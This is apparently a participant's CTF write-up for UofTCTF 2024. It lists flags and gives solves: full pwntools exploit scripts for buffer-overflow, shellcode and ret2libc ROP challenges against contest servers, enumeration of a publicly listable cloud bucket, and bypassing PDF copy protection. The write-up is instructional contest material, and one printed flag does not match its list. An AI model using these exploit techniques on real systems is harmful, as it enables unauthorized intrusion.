# UofTCTF 2024 Writeup Hello, I'm 9x14S and I participated on this CTF as a member of team 0xE0F. ## Flags ### Pwn - basic-overflow `uoftctf{libc_is_abundant_of_gadgets}` - baby-shellcode `uoftctf{arbitrary_machine_code_execution}` - patched-shell `uoftctf{patched_the_wrong_function}` - nothing-to-return `uoftctf{you_can_always_return}` ### OSINT - Flying High `UofTCTF{BOD_Iberia_A340-300}` ### Misc - Out of the Bucket 1 `uoftctf{allUsers_is_not_safe}` - Out of the Bucket 2 `uoftctf{s3rv1c3_4cc0un75_c4n_83_un54f3}` ### Jail - Baby's First Pyjail `uoftctf{you_got_out_of_jail_free}` - Baby JS Blacklist `uoftctf{b4by_j4v4scr1p7_gr3w_up_4nd_b3c4m3_4_h4ck3r}` ### Crypto - Repeat `uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}` - Pianoman `uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}` ### Forensics - Secret Message 1 `uoftctf{fired_for_leaking_secrets_in_a_pdf}` - EnableMe `uoftctf{d0cx_f1l35_c4n_run_c0de_t000}` ### Rev - CSS Password `` ### Web - Voice Changer `uoftctf{Y0UR Pitch IS 70O H!9H}` - The Varsity `` - No Code `` ### IoT - IoT Intro `{i_understand_the_mission}` - Baby's First IoT Flag 1 `{FCC_ID_Recon}` - Baby's First IoT Flag 2 `{Processor_Recon}` - Baby's First IoT Flag 6 `{Xor!=Encryption}` ## Solves ### Pwn: #### Basic-Overflow This challenge provides a binary called `buffer-overflow`, with the following `checksec` output: ![image](https://hackmd.io/_uploads/BJsSjymtp.png) Running it gives no output, only waits for user input. Like most challenges like this, they just focus on the exploitation so I immediately threw it into gdb and inputted a cyclic pattern of length 200. ![image](https://hackmd.io/_uploads/Bkq1sJmYa.png) This output means that the buffer size is 64 bytes, plus 8 bytes from the extra overwritten stored RBP. So let's look for somewhere interesting to jump to. I ran `rabin2 -s buffer-overflow` to get the symbols (functions) in the binary: ![image](https://hackmd.io/_uploads/rkRjjyQFp.png) The `shell` function seems interesting, so I disassembled with `objdump -d buffer-overflow | grep shell -C 10`: ``` 0000000000401136 <shell>: 401136: 55 push %rbp 401137: 48 89 e5 mov %rsp,%rbp 40113a: ba 00 00 00 00 mov $0x0,%edx 40113f: be 00 00 00 00 mov $0x0,%esi 401144: 48 8d 05 b9 0e 00 00 lea 0xeb9(%rip),%rax # 402004 <_IO_stdin_used+0x4> 40114b: 48 89 c7 mov %rax,%rdi 40114e: e8 dd fe ff ff call 401030 <execve@plt> 401153: 90 nop 401154: 5d pop %rbp 401155: c3 ret ``` This basically means that this function spawns a shell, so let's jump to it! I grabbed the address of the function (`0x0000000000401136`), and started writing the Python script: ```py= from pwn import * context.log_level = "debug" elf = ELF("./buffer-overflow") context.binary = ELF("./buffer-overflow") def poun(bf=0): #t = process() t = remote("34.123.15.202", 5000) payload = flat( b'A' * 72, p64(0x0000000000401136) ) t.sendline(payload) t.interactive() t.close() for i in range(1): print(f"{i=}") poun(i) ``` The script is just an automated way to send some padding plus the packed (converted to bytes) address. After running it, I got the shell and the flag: ![image](https://hackmd.io/_uploads/B1rkpJQtp.png) Flag: `uoftctf{reading_manuals_is_very_fun}` #### Baby-shellcode This challenge provides a binary called `babyshellcode` with the following `checksec` output: ![image](https://hackmd.io/_uploads/By6tpyQYa.png) Seeing the name and the output, this means that we have to overflow the stack with some shellcode, and then jump to it. Again with `rabin2 -s babyshellcode` we get the functions: ``` [Symbols] nth paddr vaddr bind type size lib name demangled ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― 1 ---------- 0x00000000 LOCAL FILE 0 baby-shellcode.asm 2 0x00001000 0x00401000 GLOBAL NOTYPE 0 _start 3 ---------- 0x00402000 GLOBAL NOTYPE 0 __bss_start 4 ---------- 0x00402000 GLOBAL NOTYPE 0 _edata 5 ---------- 0x00402000 GLOBAL NOTYPE 0 _end ``` This time, this output is slightly weird, but this only means that the binary was (probably) hand-crafted. Let's get the disassembled function `_start` with `objdump`: ``` Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 81 ec 00 04 00 00 sub $0x400,%rsp 401007: ba 00 04 00 00 mov $0x400,%edx 40100c: 48 89 e6 mov %rsp,%rsi 40100f: bf 00 00 00 00 mov $0x0,%edi 401014: b8 00 00 00 00 mov $0x0,%eax 401019: 0f 05 syscall 40101b: ff e4 jmp *%rsp ``` The most interesting part of this is the last instruction `jmp *%rsp` which means we jump into the stack! So basically this is the entrypoint to which we can run the shellcode. I'll save the GDB output this time, as this binary didn't have any buffer. Let's get some shellcode! At first, I tried using pwntools' shellcraft, but for some reason it didn't work, so I ended up just opting for `msfvenom` instead: ![image](https://hackmd.io/_uploads/rJnRCy7t6.png) The way I solved it was just by running `cat f - | ./babyshellcode` (important to also cat `-`, to not break the pipe and keep typing), and this gave a shell: ![image](https://hackmd.io/_uploads/rkqc1g7FT.png) So the actual exploit was to pipe the shellcode to the remote connection and get the flag: ![image](https://hackmd.io/_uploads/rJwJllQtT.png) Flag: `uoftctf{arbitrary_machine_code_execution}` #### Patched-shell This challenge provides a binary called `patched` with this checksec output: ![image](https://hackmd.io/_uploads/BysKeemF6.png) Nothing interesting in the output, and running it just tries to get some input, so I tried with `rabin2 -s patched` and saw that there was another `shell` function. I immediately tried to overflow the return address to jump to that function (the buffer size is the same as the first challenge) by using this script: ```py= from pwn import * context.log_level = "debug" elf = ELF("./patched") context.binary = elf def poun(bf=0): #t = process() t = remote("34.134.173.142", 5000) ret = p64(0x000000000040101a) payload = flat( b'A' * 72, ret, p64(0x0000000000401136) ) t.sendline(payload) t.interactive() t.close() for i in range(1): print(f"{i=}") poun(i) ``` Which opened a shell and gave me the flag: ![image](https://hackmd.io/_uploads/SJ1uWgmFT.png) Flag: `uoftctf{patched_the_wrong_function}` (Opinion: this challenge sucked, it was basically copying and pasting the first exploit script) #### Nothing-to-return This one was slightly harder than the first three, but easy enough as it is a basic ROP (return oriented programming) challenge. Provided files: `nothing-to-return`, `libc.so.6`, `ld-linux-x86-64.so.2`. `checksec` output: ![image](https://hackmd.io/_uploads/SypMfx7Fp.png) Here, the interesting part is the `runpath` part, which means that the binary uses a `libc` in the same directory. This can't be any more obvious that it is a return-to-libc challenge. For some reason, running the binary in my machine resulted in error each time, so I had to solve it fully remotely. ![image](https://hackmd.io/_uploads/SkI0GgQt6.png) It prints the address of `printf`, so that's basically a libc leak from which we can calculate the address of libc when linking occurs. I used a regular expression to parse it in the script. The relative address of `printf` is `0x00056250`, so the script has to receive to the binary output, get the leaked `printf` address, convert it to `int` and then subtract the relative address from it, to get the libc base. After that, we have to get a few other parts: - A `/bin/sh` string. - The relative address of `system` (or `execve`) - A `pop rdi; ret` gadget - And a `ret` gadget (to avoid the `movaps` error that requires stack alignment when jumping to libc functions) The `/bin/sh` string can be found inside libc, by running `strings -t x libc.so.6 | grep /bin/sh`: ![image](https://hackmd.io/_uploads/HyQYNxXFT.png) The `system` function address can be found like `printf` was found. This is the address: `0x0004f760` The `ret` gadget can be found in the binary itself (to avoid having to calculate its address from libc), but the `pop rdi` gadget has to be found in libc. The addresses are: `0x000000000040101a` and `0x0000000000028265` (libc), respectively. Now the only part left is joining all of this into the solve script, overflowing the buffer and writing the ROP chain into the stack, to then jump into it. Script: ```py= from pwn import * exe = ELF("nothing-to-return_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.log_level = "debug" PRINTF_LIBC = 0x00056250 BIN_SH = 0x0019fe34 POP_RDI = 0x0000000000028265 SYSTEM = 0x0004f760 RET = 0x000000000040101a def conn(): if args.LOCAL: r = process([exe.path]) gdb.attach(r) else: r = remote("34.30.126.104", 5000) return r def main(): r = conn() data = r.recvuntil(b"Hello") printf_addr = re.findall(r"0x[a-zA-Z0-9]{12}", data.decode()) printf_addr_int = int(printf_addr[0], base=16) libc_base = printf_addr_int - PRINTF_LIBC info(f"Got LIBC base: 0x{libc_base:x}") info(f"Sending payload: POP_RDI, BIN_SH") r.sendline(b"200") r.recvuntil(b"input:") payload = flat( b"A"*72, p64(libc_base + POP_RDI), p64(libc_base + BIN_SH), p64(RET), p64(libc_base + SYSTEM) ) r.sendline(payload) r.interactive() if __name__ == "__main__": main() ``` Output: ![image](https://hackmd.io/_uploads/H1GsrxmYp.png) Flag: `uoftctf{you_can_always_return}` ### Misc #### Out of the Bucket 1 This challenge provides a link to the website (`https://storage.googleapis.com/out-of-the-bucket/src/index.html`), at which we can see a two flags and some irrelevant text. ![image](https://hackmd.io/_uploads/B1IEDlXYa.png) The first thing I tried to do, was to climb the directory tree upward, by requesting the `src/` directory, but that didn't give me any interesting response. Next, I tried requesting the `out-of-the-bucket` directory, and got this XML response: ```xml= This XML file does not appear to have any style information associated with it. The document tree is shown below. <ListBucketResult xmlns="http://doc.s3.amazonaws.com/2006-03-01"> <Name>out-of-the-bucket</Name> <Prefix/> <Marker/> <IsTruncated>false</IsTruncated> <Contents> <Key>secret/</Key> <Generation>1703868492595821</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:48:12.634Z</LastModified> <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag> <Size>0</Size> </Contents> <Contents> <Key>secret/dont_show</Key> <Generation>1703868647771911</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:50:47.809Z</LastModified> <ETag>"737eb19c7265186a2fab89b5c9757049"</ETag> <Size>29</Size> </Contents> <Contents> <Key>secret/funny.json</Key> <Generation>1705174300570372</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2024-01-13T19:31:40.607Z</LastModified> <ETag>"d1987ade72e435073728c0b6947a7aee"</ETag> <Size>2369</Size> </Contents> <Contents> <Key>src/</Key> <Generation>1703867253127898</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:27:33.166Z</LastModified> <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag> <Size>0</Size> </Contents> <Contents> <Key>src/index.html</Key> <Generation>1703867956175503</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:39:16.214Z</LastModified> <ETag>"dc63d7225477ead6f340f3057263643f"</ETag> <Size>1134</Size> </Contents> <Contents> <Key>src/static/antwerp.jpg</Key> <Generation>1703867372975107</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:33.022Z</LastModified> <ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag> <Size>45443</Size> </Contents> <Contents> <Key>src/static/guam.jpg</Key> <Generation>1703867372954729</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:32.993Z</LastModified> <ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag> <Size>48805</Size> </Contents> <Contents> <Key>src/static/style.css</Key> <Generation>1703867372917610</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:32.972Z</LastModified> <ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag> <Size>76559</Size> </Contents> </ListBucketResult> ``` In this response, we can see a new endpoint: (`/secret/`), along with two files contained in that directory: - `dont_show` - `funny.json` Requesting the `/secret/dont_show` file downloads it, and `cat`ing it gives us the flag: ![image](https://hackmd.io/_uploads/rkBJFgXFa.png) (The `funny.json` file is for the next challenge) Flag: `uoftctf{allUsers_is_not_safe}` ### Forensics #### Secret message 1 This challenge provides a PDF file named `secret.pdf`. Opening it in a PDF reader (here I'm using `okular`) shows this: ![image](https://hackmd.io/_uploads/SJMCKx7Kp.png) The flag is under the blackened rectangle, but the PDF is DRM protected, which means we can't copy it: ![image](https://hackmd.io/_uploads/r1KQqlXKT.png) Thankfully, `okular` has an option to ignore DRM protection, which after disabling, I just went and copied the flag. Flag: `uoftctf{fired_for_leaking_secrets_in_a_pdf}` ### Crypto #### Repeat WIP